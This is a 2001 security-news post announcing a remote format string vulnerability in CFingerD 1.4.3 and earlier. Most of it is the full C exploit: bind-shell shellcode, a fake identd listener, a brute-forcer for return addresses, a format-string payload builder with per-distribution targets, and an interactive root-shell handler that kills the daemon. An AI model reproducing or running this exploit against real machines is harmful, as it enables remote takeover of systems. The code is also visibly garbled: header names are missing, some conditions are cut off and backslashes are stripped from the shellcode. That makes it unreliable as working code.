CFingerD Remote Format String Vulnerability (Advance Exploit Code)

posted onMay 14, 2001

by hitbsecnews

There is a very serious format string bug in CFingerD version 1.4.3 and prior that makes it possible to acquire full control over the remote machine if it runs the CFingerD program, the configurable and secure finger daemon. The following exploit code will try and brute force the correct EIP address (meaning it will try to overflow different stack sizes/return addresses etc, until it successful in cause the program to execute arbitrary code).

Details

Vulnerable systems:

CFingerD version 1.4.3 and prior

Immune systems:

CFingerD version 1.4.3 patched

Details

Vulnerable systems:

CFingerD version 1.4.3 and prior

Immune systems:

CFingerD version 1.4.3 patched

Exploit:

/* remote exploit for linux/x86 - cfingerd

#include

#include

#include

#include

#include

#include

#include

#include

#define ROOTSHELLPORT 36864

void chld_timeo();

void chld_timeoo();

int sserver;

int cserver;

int phase=0;

int mmm=0;

unsigned long glob;

//unsigned long startaddr = 0xbffffdfc;

unsigned long startaddr = 0xbffffb34;

unsigned long stopaddr = 0xbffff000;

char pbuf[1024];

char testcode[]=

"xebx0bx2ex72x64x43x2ex72x6fx63x6bx73x2exebxfe";

char linuxcode[]=

/* Lamagra bind shellcode modified by me, making it smaller =) - 124b */

"xebx6ex5ex29xc0x89x46x10"

"x40x89xc3x89x46x0cx40x89"

"x46x08x8dx4ex08xb0x66xcd"

"x80x43xc6x46x10x10x88x46"

"x08x31xc0x31xd2x89x46x18"

"xb0x90x66x89x46x16x8dx4e"

"x14x89x4ex0cx8dx4ex08xb0"

"x66xcdx80x89x5ex0cx43x43"

"xb0x66xcdx80x89x56x0cx89"

"x56x10xb0x66x43xcdx80x86"

"xc3xb0x3fx29xc9xcdx80xb0"

"x3fx41xcdx80xb0x3fx41xcd"

"x80x88x56x07x89x76x0cx87"

"xf3x8dx4bx0cxb0x0bxcdx80"

"xe8x8dxffxffxffx2fx62x69"

"x6ex2fx73x68";

struct os

{

int id;

char *os;

char *shellcode;

int fsc;

unsigned long shaddr;

int offset;

};

struct os types[]=

{

{0, "slackware 7.0 - compiled cfingerd 1.4.2/1.4.3 running from inetd as root", linuxcode, 22, 0xbffffbc4, 30},

{1, "slackware 7.0 - compiled cfingerd 1.4.2/1.4.3 running from inetd as nobody", linuxcode, 22, 0xbffffbc4, 30},

{2, "debian 2.2 - default cfingerd 1.4.1 running from inetd as root", linuxcode, 33, 0xbffffb48, 0},

{3, "debian 2.2 - default cfingerd 1.4.1 running from inetd as nobody", linuxcode, 33, 0xbffffb48, 0},

{4, NULL, 0, 0xdeadbeef, 0}

};

main(int argc, char *argv[])

{

struct sockaddr_in sin;

struct sockaddr_in ssin;

int fd;

int x;

int xx=0;

int sts=0;

int pete;

int a,b,c=22,d=0; /* c is used in case you want to seek the fsc on */

int guide=1; /* your system, starting from 22, change it if you */

int sel=0; /* want. */

int bleh=0; /* */

int off=0;

int arx=0;

int niu=0;

int ye=0;

char buf[1024];

char tex[512];

if (argc n",argv[0]);

printf("where is:n");

for (x=0 ; types[x].os != NULL ; x++)

printf("%d for %sn", types[x].id, types[x].os);

printf("nhttp://www.rdcrew.com.arnn");

exit(1);

}

for (x=0 ; types[x].os != NULL ; x++)

{

if (types[x].id == atoi(argv[1]) )

{

xx++;

sel = types[x].id;

}

}

if (!xx)

{

printf("Unknown platform: %sn",argv[1]);

exit(1);

}

off = atoi(argv[3]);

printf("Selected platform: %s (%d)n",types[sel].os,sel);

bzero(&sin,sizeof(sin));

// fake identd

sin.sin_family = AF_INET;

sin.sin_port = htons(113);

sin.sin_addr.s_addr = htonl(INADDR_ANY);

if ( (fd = socket(AF_INET, SOCK_STREAM, 0)) h_addr, (struct in_addr *)&d.sin_addr, host->h_length);

cserver = socket(AF_INET, SOCK_STREAM, 0);

// you can add a timeout here, but supossly you know if the server

// is up/not firewalled, because you are using it against an authorized

// machine and not in a script/not authorized machine, right?

if (connect(cserver, (struct sockaddr *)&d, sizeof(struct sockaddr)) */

void chld_timeo()

{

alarm(0);

signal(SIGALRM, SIG_DFL);

printf("EIP FOUND! - SHELLCODE ADDR OK!n");

fflush(stdout);

close(cserver);

exit(1);

}

void chld_timeoo()

{

alarm(0);

signal(SIGALRM, SIG_DFL);

printf("shellcode executed!n");

fflush(stdout);

close(cserver);

exit(2);

}

/* */

int rootsox(int sox)

{

fd_set rset;

int n;

char buffer[4096];

/* we kill the cfingerd in eternal loop and we run other nice commands ;)

*/

char *command="/bin/killall -9 cfingerd ; /bin/uname -a ; /usr/bin/idn";

send(sox, command, strlen(command), 0);

for (;;) {

FD_ZERO (&rset);

FD_SET (sox, &rset);

FD_SET (STDIN_FILENO, &rset);

n = select(sox + 1, &rset, NULL, NULL, NULL);

if(n <= 0)

return (-1);

if(FD_ISSET (sox, &rset)) {

n = recv (sox, buffer, sizeof (buffer), 0);

if (n <= 0)

break;

write (STDOUT_FILENO, buffer, n);

}

if(FD_ISSET (STDIN_FILENO, &rset)) {

n = read (STDIN_FILENO, buffer, sizeof (buffer));

if (n <= 0)

break;

send(sox, buffer, n, 0);

}

}

return 0;

}

//heavly modified formatstring engine from rdC-LPRng.c exploit - 12/00

preparebuf(int sel, int off, int what)

{

unsigned long addr;

unsigned long a, b, c, d;

int pas1,pas2,pas3,pas4;

int i;

char temp[512];

char buf[512];

char atemp[128];

char bufx[512];

startaddr = startaddr - 0x4;

addr = startaddr;

bzero(temp,sizeof(temp));

bzero(buf,sizeof(buf));

bzero(bufx,sizeof(bufx));

bzero(atemp,sizeof(atemp));

if (addr == stopaddr)

{

printf("nreached stopaddr, change shellcode address/fscn");

exit(1);

}

if(what)

{

off-=mmm;

mmm++;

}

if (mmm == 185)

{

printf("?!.. we cant find the first character of our shellcode!#@n");

exit(0);

}

snprintf(temp,sizeof(temp),"%p",types[sel].shaddr+types[sel].offset+off);

sscanf(temp,"0x%2x%2x%2x%2x",&a,&b,&c,&d);

pas1 = d - (16 * 2);

pas1 = cn(pas1);

pas2 = c - d;

pas2 = cn(pas2);

pas3 = b - c;

pas3 = cn(pas3);

pas4 = a - b;

pas4 = cn(pas4);

if(what)

addr = glob;

else

glob = addr;

printf("eip: %p - shellcode addr: %p - ",addr,types[sel].shaddr+types[sel].offset+off);

fflush(stdout);

for (i=0 ; i < 4 ; i++)

{

snprintf(atemp,sizeof(atemp),"%s",&addr);

strncat(buf, atemp, 4);

addr++;

}

snprintf(bufx,sizeof(bufx),"%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n",pas1,(types[sel].fsc),pas2,(types[sel].fsc)+1,pas3,(types[sel].fsc)+2,pas4,types[sel].fsc+3);

strcat(buf,bufx);

bzero(pbuf,sizeof(pbuf));

strncpy(pbuf,buf,sizeof(pbuf));

}

cn(unsigned long addr)

{

char he[128];

snprintf(he,sizeof(he),"%d",addr);

if (atoi(he) < 8)

addr = addr + 256;

return addr;

}